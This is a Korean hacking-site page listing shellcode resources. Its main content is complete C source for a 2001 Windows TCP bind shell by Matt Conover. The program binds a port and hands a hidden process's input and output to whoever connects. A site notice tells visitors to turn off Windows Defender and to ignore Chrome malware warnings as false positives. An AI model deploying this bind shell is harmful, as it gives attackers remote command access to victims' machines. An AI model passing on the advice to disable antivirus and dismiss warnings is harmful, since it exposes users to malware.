::::: 해커즈뉴스 / 해커몰 :::::

해커즈뉴스 / 해커대학

Donation bitcoin(기부용 비트코인 주소)

1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4

기부하신 비트코인은 "보안 취약 계층"을 위해 사용되고 있습니다.

Donation bitcoin(기부용 비트코인 주소)

1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4

기부하신 비트코인은 "보안 취약 계층"을 위해 사용되고 있습니다.

공지

1. MS 엣지 브라우저에서의 경고창은 '윈도우 디펜더'를 끄시면 됩니다.

'윈도우 디펜더 끄기'

2. 크롬 브라우저로 접속시 나오는 악성코드 경고창은 구글 크롬의 에러, 즉 오탐(탐지 오류)이므로 무시하시면 됩니다.

3. 이 사이트는 안전하며 깨끗하다는 것을 알려 드립니다.

4. 무고한 사이트들에 대한 공룡 기업 브라우저들의 무차별적인 '탐지 오류 횡포'가 사용자들의 정보 공유의 자유를 침해하고 있습니다. 이에 대응하여 이 기업들을 상대로 소송을 준비하고 있습니다.

출처: Matt Conover

장르: 쉘코드

bindshell.c (3KB, DN:744)

TCP 바인딩 쉘코드

// Copyright (C) 2001, Matt Conover (Shok) & w00w00
// http://www.w00w00.org
//
// Binds cmd.exe to a TCP port (9999 by default)
// I set this up in a format to make it easier to port to shellcode

#include <stdio.h>
#include <winsock.h>

#define PORT 9998
#define BUFSIZE 1024

void main(int argc, char* argv[])
{
register int numbytes;
int socklen;
char *membuf;

SECURITY_ATTRIBUTES security_attributes;
STARTUPINFO startup_info;
HANDLE StdOutputRead, StdOutputWrite, StdInputRead, StdInputWrite;

WSADATA wsaData;
SOCKET serverfd = INVALID_SOCKET, clientfd = INVALID_SOCKET;
SOCKADDR_IN serversin, clientsin;

// Socket initialization
WSAStartup(MAKEWORD(1, 1), &wsaData);
serverfd = socket(AF_INET, SOCK_STREAM, 0);

memset(&serversin, 0, sizeof(serversin));
serversin.sin_family = AF_INET;
serversin.sin_port = htons(PORT);

if (bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin)) < 0) goto exit_process;
listen(serverfd, 0);

// Set handles to inheritable
security_attributes.nLength = sizeof(SECURITY_ATTRIBUTES);
security_attributes.bInheritHandle = true;
security_attributes.lpSecurityDescriptor = NULL;

// Setup input and output pipes for shell
CreatePipe(&StdOutputRead, &StdOutputWrite, &security_attributes, 0);
CreatePipe(&StdInputRead, &StdInputWrite, &security_attributes, 0);

// Create a child process that will inherit the input and output
// handles of the pipes and have a hidden window
GetStartupInfo(&startup_info);
startup_info.hStdOutput = startup_info.hStdError = StdOutputWrite;
startup_info.hStdInput = StdInputRead;
startup_info.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
startup_info.wShowWindow = SW_HIDE;

if (!CreateProcess(NULL, "c:\\test.exe", NULL, NULL, true, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info))
{
goto exit_process;
}

CloseHandle(StdOutputWrite);
CloseHandle(StdInputRead);

// Wait for an incoming connection
socklen = sizeof(clientsin);
clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);

// Allocate the memory buffer it will use
membuf = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, BUFSIZE);

cmd_data: // read if there is data from cmd.exe
if (!PeekNamedPipe(StdOutputRead, NULL, 0, NULL, (DWORD *)&numbytes, 0))
{
goto exit_process;
}

if (numbytes == 0) goto client_data;

if (!ReadFile(StdOutputRead, membuf, BUFSIZE, (DWORD *)&numbytes, NULL))
{
goto exit_process;
}

if (send(clientfd, membuf, numbytes, 0) <= 0) goto exit_process;
goto client_data;

sleep_and_repeat:
Sleep(50);
goto cmd_data;

client_data: // read new user data and send it to cmd.exe
numbytes = recv(clientfd, membuf, BUFSIZE, 0);
if (numbytes <= 0) goto exit_process;

if (!WriteFile(StdInputWrite, membuf, numbytes, (DWORD *)&numbytes, NULL))
{
goto exit_process;
}

goto sleep_and_repeat;

exit_process:
closesocket(clientfd);
closesocket(serverfd);
ExitProcess(-1);
}

문서번호	장르	문서명	출처	첨부

이곳에서는 버퍼오버플로우와 포맷스트링 버그에 대한 문서들을 제공합니다.

86	쉘코드	bin 을 16진수로 변환하는 툴	해커즈뉴스

85	쉘코드	쉘코드 생성기	해커즈뉴스

84	쉘코드	FTP 원격 다운로드/실행 바인딩	Matt Conover

83	쉘코드	TCP 바인딩 쉘코드	Matt Conover

82	쉘코드	Cygnus Win32 윈도쉘	Matt Conover

81	쉘코드	윈도용 쉘코드 생성기	Matt Conover

80	쉘코드	윈도용 쉘코드 만들기	해커즈뉴스

79	쉘코드	StrongARM/Linux 쉘코드 개발하기	funkysh

78	쉘코드	Linux x86 쉘코드 소개	posidron

77	쉘코드	디스어셈블러	matrix

76	쉘코드	리버스 포트쉘	해커즈뉴스

75	쉘코드	현재 디렉토리에서 sh 실행하는 코드	해커즈뉴스